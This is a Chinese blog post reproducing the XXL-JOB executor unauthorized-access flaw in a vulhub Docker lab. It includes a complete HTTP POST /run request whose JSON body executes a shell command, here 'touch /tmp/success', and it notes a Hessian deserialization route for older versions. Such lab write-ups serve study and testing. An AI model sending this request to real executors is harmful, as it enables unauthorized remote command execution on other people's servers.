首页 > 其他分享 >XXL-JOB executor 未授权访问漏洞

XXL-JOB executor 未授权访问漏洞

时间:2024-05-24 16:08:17浏览次数:24  
标签:漏洞 Accept 访问 JOB executor XXL

XXL-JOB executor 未授权访问漏洞

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开放迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

漏洞搭建

cd vulhub/xxl-job/unacc
docker-compose up -d

环境启动后,访问http://10.10.10.8:8080即可查看管理端(admin),访问http://10.10.10.8:9999可以查看到客户端(executor)

漏洞复现

向客户端(executor)发送如下数据包,即可执行命令:

POST /run HTTP/1.1
Host: your-ip:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "touch /tmp/success",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

另外,低于2.2.0版本的XXL-JOB没有RESTful API,我们可以通过Hessian反序列化来执行命令。

标签:漏洞,Accept,访问,JOB,executor,XXL
From: https://www.cnblogs.com/kalixcn/p/18211166

相关文章

  • Docker启动 Redis提示:Can't initialize Background Jobg
     今天使用docker启动redis失败,但是查看容器日志,除了提示Fatal:Can'tinitializeBackgroundJobg,没有其他错误信息。经过长时间查找资料及试错,现记录下可能的产生原因及解决方案,以便以后参考。产生原因:宿主机安装的docker版本太低,同镜像所需的版本不匹配解决方案: 方案1、......
  • kettle从入门到精通 第六十一课 ETL之kettle 任务调度器,轻松使用xxl-job调用kettle中
    1、大家都知道kettle设计的job流程文件有个缺点:只能设置简单的定时任务,无法设置复杂的如支持cron表达式的job。 今天给大家分享一个使用xxl-job调度carte的流程文件的示例。整个调度流程图如下: 1)xxl-job-admin,页面可视化配置任务。2)xxl-job-executor,job执行器,通过调用carte......
  • 【Flink 日常踩坑】Could not find ExecutorFactory in classpath
    Description一段简单的FlinkSQL程序,在IDE中运行没问题,但是maven打包后发布到终端启动却报错了。importorg.apache.flink.configuration.Configuration;importorg.apache.flink.streaming.api.environment.StreamExecutionEnvironment;importorg.apache.flink.table.......
  • 【Flink 日常踩坑】Could not find ExecutorFactory in classpath
    Description一段简单的FlinkSQL程序,在IDE中运行没问题,但是maven打包后发布到终端启动却报错了。importorg.apache.flink.configuration.Configuration;importorg.apache.flink.streaming.api.environment.StreamExecutionEnvironment;importorg.apache.flink.table.......
  • ElasticJobUI
    进入ElasticJob官网ElasticJob官网官网ElasticJobUI使用手册点击下载mac启动打开iterm,进入下载的包目录,运行chomod+x./start.sh./start.sh启动后,会显示日志文件路径cat日志文件路径端口8088,本地访问地址http://localhost:8088账号密码都是root登录后,添......
  • xxl任务绑定一台服务器的两个项目
    项目场景:之前正式一直都是使用的手动注册,而且测试环境还没有注册上去,但是最近开发的需要每天在测试上跑跑看,再上生产,所以这次要解决掉。问题描述我是测试环境和正式环境都在一台机子上,两个环境项目跑不同的docker容器,我要做的是这两个容器里面的项目都注册到我的xxl服务上去。......
  • docker安装xxljob
    dockersearchxxl-jobdockerpullxuxueli/xxl-job-admin:2.4.0dockerrun-d\-p8088:8088\-v/tool/xxl-job/logs:/data/applogs\-v/tool/xxl-job/application.properties:/xxl-job/xxl-job-admin/src/main/resources/application.propert......
  • python 构建jenkins job
    学习文档:https://www.cnblogs.com/hujinzhong/p/14593293.htmlhttps://blog.csdn.net/qq_45939519/article/details/121052408官方文档:API参考—PythonJenkins1.8.0文档(python-jenkins.readthedocs.io) 使用Python-Jenkins—PythonJenkins1.8.0文档 impor......
  • 线程池(ThreadPoolExecutor)
    线程池核心类ThreadPoolExecutor,通过池化思想来维护线程的创建与消费使用线程池的好处提高任务执行的响应速度,降低资源消耗。任务执行时,直接立即使用线程池提供的线程运行,避免了临时创建线程的CPU/内存开销,达到快速响应的效果。提高线程的可管理性。线程总数可预知,避免用......
  • @RefreshScope导致xxl-job jobhandler naming conflicts项目启动报错
    问题项目里使用xxl-job定时任务框架,某个任务定义如下:@Slf4j@RefreshScope@Component@JobHandler("xxxTask")publicclassXxxTaskextendsIJobHandler{@Value("${xxx.enable:false}")privatebooleanenable;@OverridepublicReturnT<S......